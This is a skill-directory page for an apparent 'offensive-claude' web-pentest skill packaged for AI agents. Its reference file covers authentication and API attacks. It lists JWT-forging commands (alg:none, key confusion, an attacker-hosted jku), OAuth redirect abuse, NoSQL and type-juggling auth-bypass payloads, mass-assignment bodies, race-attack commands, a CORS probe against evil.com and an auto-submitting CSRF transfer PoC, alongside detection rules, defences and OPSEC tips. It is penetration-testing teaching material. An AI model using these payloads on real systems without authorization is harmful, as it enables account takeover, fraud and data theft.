hypnguyen1209/offensive-claude / skills/web-pentest
web-pentest
FlaggedUse when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 12.0 KB |
| references/auth-api-access-control.md | markdown | 14.9 KB |
| references/business-logic-abuse.md | markdown | 5.2 KB |
| references/http-desync-cache.md | markdown | 8.6 KB |
| references/injection-sqli-cmdi.md | markdown | 10.0 KB |
| references/proxy-mcp-integration.md | markdown | 3.1 KB |
| references/ssrf-cloud-metadata.md | markdown | 6.7 KB |
| references/ssti-deserialization.md | markdown | 7.0 KB |
| references/waf-bypass.md | markdown | 7.0 KB |
| references/xss-csp-clientside.md | markdown | 7.9 KB |
| references/xxe.md | markdown | 6.9 KB |
| scripts/desync_probe.py | script | 8.3 KB |
| scripts/graphql_audit.py | script | 6.2 KB |
| scripts/jwt_forge.py | script | 8.2 KB |
| scripts/proto_ssti_gadgets.py | script | 8.1 KB |
| scripts/race_single_packet.py | script | 5.4 KB |
| scripts/session_entropy.py | script | 7.9 KB |
| scripts/ssrf_toolkit.py | script | 8.3 KB |
| scripts/xss_csp_forge.py | script | 8.1 KB |
references/auth-api-access-control.md
View on GitHub# Authentication, API Abuse, Access Control & Race Conditions
Cluster: JWT/OAuth/SAML auth attacks (CWE-287/CWE-347), GraphQL/REST API abuse,
broken access control / IDOR / BOLA (CWE-639/CWE-862 — OWASP API #1), mass
assignment (CWE-915), business-logic flaws, and race conditions (CWE-362).
Backing tools: `scripts/jwt_forge.py`, `scripts/graphql_audit.py`,
`scripts/race_single_packet.py`. ATT&CK: T1078 (Valid Accounts), T1539 (Steal
Session Cookie), T1190.
## JWT Attacks
```
python3 scripts/jwt_forge.py decode "$JWT"
python3 scripts/jwt_forge.py none "$JWT" --claim sub=admin --claim role=admin
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey server_pub.pem --claim sub=admin
python3 scripts/jwt_forge.py jku "$JWT" --jku https://atk/jwks.json --claim sub=admin
python3 scripts/jwt_forge.py jwk "$JWT" --claim sub=admin
python3 scripts/jwt_forge.py bruteforce "$JWT" --wordlist rockyou.txt
```
- **`alg:none`** — strip signature; try `none/None/NONE/nONE` to dodge naive checks.
- **RS256 -> HS256 algorithm confusion** — sign with the server's RSA *public*
key as the HMAC secret; if the server uses one "verify" call that picks the
algorithm from the header, it validates your forged token.
- **`jku`/`x5u` header injection** — point key URL at attacker JWKS; host the
matching public key; server fetches and trusts it.
- **`jwk` embedded-key** — inline an attacker JWK in the header.
- **`kid` injection** — path traversal (`kid: ../../dev/null`, secret `""`) or
SQLi in the key lookup.
- Brute force HS256 with `hashcat -m 16500 jwt.txt wordlist.txt` for big lists.
## OAuth 2.0 / OIDC / SAML
```
redirect_uri=https://atk.tld # open redirect_uri
redirect_uri=https://legit.tld@atk.tld # userinfo confusion
redirect_uri=https://legit.tld.atk.tld # suffix confusion
```
- **Missing/!verified `state`** -> login CSRF / account stitching.
- **Authorization-code injection** -> inject a captured code into the victim
session; PKCE + bound `state` is the mitigation (RFC 9700 / OAuth 2.1).
- **PKCE downgrade** -> omit `code_verifier`; if the server accepts both PKCE
and non-PKCE, the code is usable without the verifier.
- **SAML XSW (signature wrapping)** -> clone Response/Assertion, move the valid
Signature so the parser validates one element but consumes the attacker's.
## GraphQL
```
python3 scripts/graphql_audit.py introspect https://t/graphql
python3 scripts/graphql_audit.py suggest https://t/graphql --type User --field usrname
python3 scripts/graphql_audit.py batch https://t/graphql --user admin --wordlist pw.txt
python3 scripts/graphql_audit.py alias https://t/graphql --count 1000 --field __typename
python3 scripts/graphql_audit.py deep https://t/graphql --depth 15 --field friends
```
- **Introspection** dumps the schema; if disabled, **field-suggestion** (typo ->
"Did you mean…") leaks field names.
- **Array batching** and **alias batching** run N operations in one HTTP request
-> bypass per-request rate limits (credential brute force) and cause DoS.
- **Deep nesting** exhausts CPU/memory if no depth limit.
- **Batched authorization bypass**: per-operation auth checks miss aliased/
batched operations.
## Session & auth-check tampering bypass
Attack the **check**, not the crypto. Many gates are `if (session) {...}` / `if (user) {...}` / a loose
equality — so a value's *type or emptiness* walks past them. For every auth-bearing parameter (cookie,
token, `user`/`pass`, `role`) test the three states + the operator/type tricks:
```
# 1. EMPTY vs MISSING vs NULL — each can hit a different code path than a valid value
Cookie: session= # present-but-empty (falsy: if(req.session) is false)
{"session": null} {"session": ""} # null / empty in a JSON body
(omit the header entirely) # truly absent -> compare all three to a valid one
# a falsy check may fall through to guest/default OR (bug) skip the check and trust a downstream param.
# 2. NoSQL operator injection INTO auth (the session=&startWith= / $gt family)
{"user":"admin","pass":{"$gt":""}} {"user":{"$ne":null},"pass":{"$ne":null}}
user[$ne]=&pass[$ne]= # URL form (bracket -> object) : returns a record w/o the value
user[$regex]=^adm token[$regex]=^ # $regex '^' / startsWith walks a secret char-by-char (blind enum)
# 3. TYPE JUGGLING into auth (loose comparison / language quirks)
0 == "any-non-numeric" (PHP < 8) # and magic-hash: 0e12... == 0e98... (both coerce to 0)
{"password": true} {"token": {"$exists": true}} [] == false strcmp(array,str)==null
# -> hits token/HMAC/password compares that use ==/loose eq instead of strict ===/constant-time.
# 4. HPP into auth — send the auth param twice; validator reads copy A, the sink reads copy B
?user_id=<your>&user_id=<victim> # (framework first/last/array divergence — see injection HPP table)
```
**Impact/ATT&CK:** T1078 (valid accounts) / T1556 (modify authentication) / T1190. **CWE:** CWE-287
(improper auth), CWE-697 (incorrect comparison), CWE-943 (NoSQL injection), CWE-306 (missing auth on the
"no session at all" path). **Evidence bar (finding-discipline):** an authenticated action or *another
principal's* record obtained via the bypass — a `200` alone is `[POSSIBLE]`, not `[CONFIRMED]`.
**Detection/defense:** strict types (`===`, constant-time compare), reject operator/array params on auth
fields, parameterized queries; logins with `[$`/array params, empty creds, or `0e` payloads are the IOC.
## Session token analysis (prediction / entropy) — offensive
Weak session token = forge another user's session without any credential. Harvest **many** tokens (repeat
login, register accounts, capture guest/pre-auth tokens), then:
1. **Structure:** decode base64/hex/JWT — is it random, or `base64(user_id:ts:hmac)` / a counter / a
timestamp-derived value? A structured token is predictable if any field is guessable.
2. **Entropy & sequentiality:** Shannon entropy per character position + monotonic-counter detection; a
small per-position charset or a moving counter ⇒ predictable. Use Burp Sequencer or
`scripts/session_entropy.py <tokens>` (stdlib: encoding detect, per-position charset, entropy,
sequential-field detection, verdict).
3. **Predict/forge:** if a field is a counter/timestamp/derived-from-username, compute another user's
token and replay it.
**ATT&CK:** T1539 (steal web session cookie) / T1606 (forge web credentials). **CWE:** CWE-330/331
(insufficient randomness), CWE-384 (fixation-adjacent). **Evidence bar:** a **predicted/forged token that
authenticates as another user** (or a demonstrably tiny keyspace) — "entropy looks low" is `[POSSIBLE]`.
## Test-account setup (get your test sessions before IDOR/BOLA)
Access-control testing needs **≥2 identities you control**; provision them deliberately, not ad hoc.
- **ROE GATE FIRST.** Only if the engagement authorizes account creation. Never pollute prod data without
written sign-off; prefix test accounts (`pt-`), keep an inventory, and **delete them on completion**.
- **Provision:** self-register victim `V` + attacker `A`, and a **low-priv + higher-priv** pair for vertical
checks. Capture the session/token **at registration** and again after login (they can differ).
- **Verification hurdles:** email-verify (plus-addressing `you+v1@`, catch-all inbox, or the invite/OTP
flow), OTP, invite links, tenant onboarding — record how each is handled. A mass-assignment
`"email_verified":true` at register (below) may skip the whole step.
- **Keep both sessions live** from the start (two browser profiles / two token vars) so every object
reference is tested cross-identity immediately — this is what feeds the IDOR/BOLA and Business-Logic
flows below. **CWE-639** context; treat account creation as authorized test setup only (`TERMS.md`).
## Access Control / IDOR / BOLA & Mass Assignment
```
GET /api/users/1001 -> /api/users/1002 # horizontal IDOR
GET /api/admin/... from a low-priv token # vertical (function-level)
# enumerate UUIDs from leaked references, predictable order IDs, GraphQL node ids
```
```json
// mass assignment — add privileged fields the UI never sends
{"username":"atk","password":"p","role":"admin","isAdmin":true,"email_verified":true}
```
Test every object reference for *another* user's data and every endpoint for a
*lower* privilege token. BOLA (Broken Object Level Authorization) is OWASP API
Security #1 and the single most common high-impact API bug.
## Business Logic
- Negative / fractional quantity -> refund or price flip.
- Client-trusted price/currency fields.
- Step-skipping in multi-step flows (go straight to confirmation).
- Coupon stacking / replay beyond intended limits.
## Race Conditions — single-packet attack
```
python3 scripts/race_single_packet.py https://t/redeem -X POST \
-H "Cookie: session=..." -d "code=DISCOUNT50" -n 30
```
Kettle's **single-packet attack**: withhold the last byte of N requests, then
release all last bytes at once so requests arrive within ~1 ms (HTTP/2
multiplexing or synchronised HTTP/1.1 socket release), neutralising jitter.
Targets: coupon/voucher reuse, balance-transfer double-spend, OTP/2FA
validation, "check-then-act" TOCTOU, inventory oversell.
## CORS misconfiguration (CWE-942)
Test whether the app reflects a cross-origin `Origin` header + allows credentials:
```bash
curl -s -H "Origin: https://evil.com" https://target/api/me -D- | grep -i access-control
# dangerous if: Access-Control-Allow-Origin: https://evil.com AND Access-Control-Allow-Credentials: true
# also test: Origin: null (sandboxed iframe), subdomain wildcard, regex bypass (evilexample.com)
```
Impact: an attacker page on `evil.com` can read authenticated API responses cross-origin → credential
theft, PII exfil. `finding-discipline` class rule: confirm=`creds_reflected_origin` (ACAO reflected +
ACAC:true + cross-origin authenticated read). Detection: `Origin` headers from unexpected domains in
access logs. ATT&CK T1557.
## CSRF (CWE-352)
Cross-Site Request Forgery — tricking a logged-in user's browser into submitting a state-changing
request to the target (the browser auto-attaches cookies).
**Testing checklist:**
1. Identify state-changing endpoints (POST/PUT/DELETE + side effect: transfer, password change, email
change, role grant, delete).
2. Check for anti-CSRF tokens — is there a token? Is it validated? Does removing it still work? Does a
blank or wrong value pass? Is it per-session or per-request?
3. Check `SameSite` cookie attribute — `Strict` blocks CSRF; `Lax` blocks POST but allows top-level
GET (→ method override / GET-based state change). `None` + `Secure` = no CSRF protection from cookies.
4. Construct a PoC:
```html
<form action="https://target/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
```
5. For JSON-body endpoints: `<form enctype="text/plain" action="..." method="POST"><input name='{"to":"attacker","x":"' value='"}'>` (JSON-shaped via text/plain — works if the server doesn't check Content-Type).
6. If anti-CSRF is present: test token fixation (does the token stay valid after logout?), cross-session reuse, Referer/Origin check bypass (strip via `<meta name="referrer" content="no-referrer">`).
ATT&CK T1185 (browser session hijacking). **Evidence bar:** a **state change proven via the PoC** (balance
moved, email changed, role granted), not just "the form submitted." Detection: unexpected Referer/Origin
on state-changing endpoints; anti-CSRF token mismatch logs.
## Modern 2024-2026 Variants (verified)
- **JWT algorithm-confusion at scale** — the technique remains live; a 2026
Parse Server case allowed `alg:none` *or* RS256->HS256 with Google's public key,
enabling full admin takeover (fixed by hardcoding RS256 + `jwks-rsa` in Parse
Server 8.6.3 / 9.3.1-alpha.4). Always pin/allow-list algorithms.
- **OIDC nonce non-validation — CVE-2024-10318 (NGINX OIDC module)**: the IdP
response nonce was not validated client-side, allowing ID-token replay to log
in as the victim. Patched Nov 2024.
- **GraphQL alias-batching DoS — CVE-2024-50311 (OpenShift console)**: alias
batching exhausts resources / bypasses rate limiting.
- **Altair GraphQL client — CVE-2024-54147**: desktop client did not validate
WebSocket TLS certs -> MITM of all queries/subscriptions.
- **OAuth hardening baseline shifted to RFC 9700 / OAuth 2.1** (2024-2025):
mandatory PKCE, exact redirect-URI match, `state` binding; many ATO findings
now stem from apps still on legacy implicit/loose-redirect flows.
- Single-packet race attacks continue to be the highest-yield logic-flaw
technique (PortSwigger "Smashing the state machine" lineage).
- Note: several widely circulated 2026 JWT CVE IDs (e.g. CVE-2026-29000,
CVE-2026-22817) originate from community blogs — treat them as the *technique
class* (spec-level public-key forgery / algorithm confusion) and verify the
exact ID against NVD/vendor advisories before citing in a report.
## Detection (Blue Team)
IOCs: JWTs with `alg:none`/HS256 where RS256 expected, or unknown `kid`/`jku`
hosts; OAuth callbacks with mismatched/absent `state`; one HTTP request carrying
many GraphQL operations/aliases; bursts of near-simultaneous identical mutating
requests (race); sequential object-ID access across many IDs (IDOR sweep).
```yaml
title: Auth/API Abuse & Race Indicators
logsource: { category: application }
detection:
jwt_none:
jwt_alg|re: '(?i)^(none|hs256)$' # alert if expected alg is RS/ES
graphql_batch:
request_body|re: '(alias|__typename).{0,40}(alias|__typename).{0,40}(alias|__typename)'
race:
selection: { event: state_mutating_request }
timeframe: 1s
count_by: { src_ip, endpoint } > 5
condition: jwt_none or graphql_batch or race
level: high
```
Defences: pin JWT algorithm + allow-list `jku`; enforce `state`/PKCE/exact
redirect; GraphQL depth + alias + cost limits (GraphQL Armor); per-object authz
on every reference; idempotency keys / row locks to kill races.
## OPSEC
- Forged-JWT and `alg:none` attempts are logged as verification failures —
expect alerting; minimise blind attempts, decode and reason first.
- Credential brute force via GraphQL batching is *quieter* by request count but
*louder* by failed-login count; cap wordlist size and rate.
- Race attacks produce a tell-tale simultaneous-request burst; run minimal `-n`.
- IDOR enumeration leaves sequential access patterns — sample, don't sweep, on
monitored targets; never exfiltrate other users' real PII beyond proof.
## References
- PortSwigger Web Security Academy — JWT attacks; OAuth; access control; race
conditions; "Smashing the state machine" (single-packet attack).
- NVD: CVE-2024-10318 (NGINX OIDC), CVE-2024-50311 (OpenShift GraphQL),
CVE-2024-54147 (Altair).
- RFC 9700 (OAuth 2.0 Security Best Current Practice) / OAuth 2.1 draft.
- OWASP API Security Top 10 (2023) — API1 BOLA, API3 BOPLA/mass assignment.
- OWASP GraphQL Cheat Sheet; GraphQL Armor.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |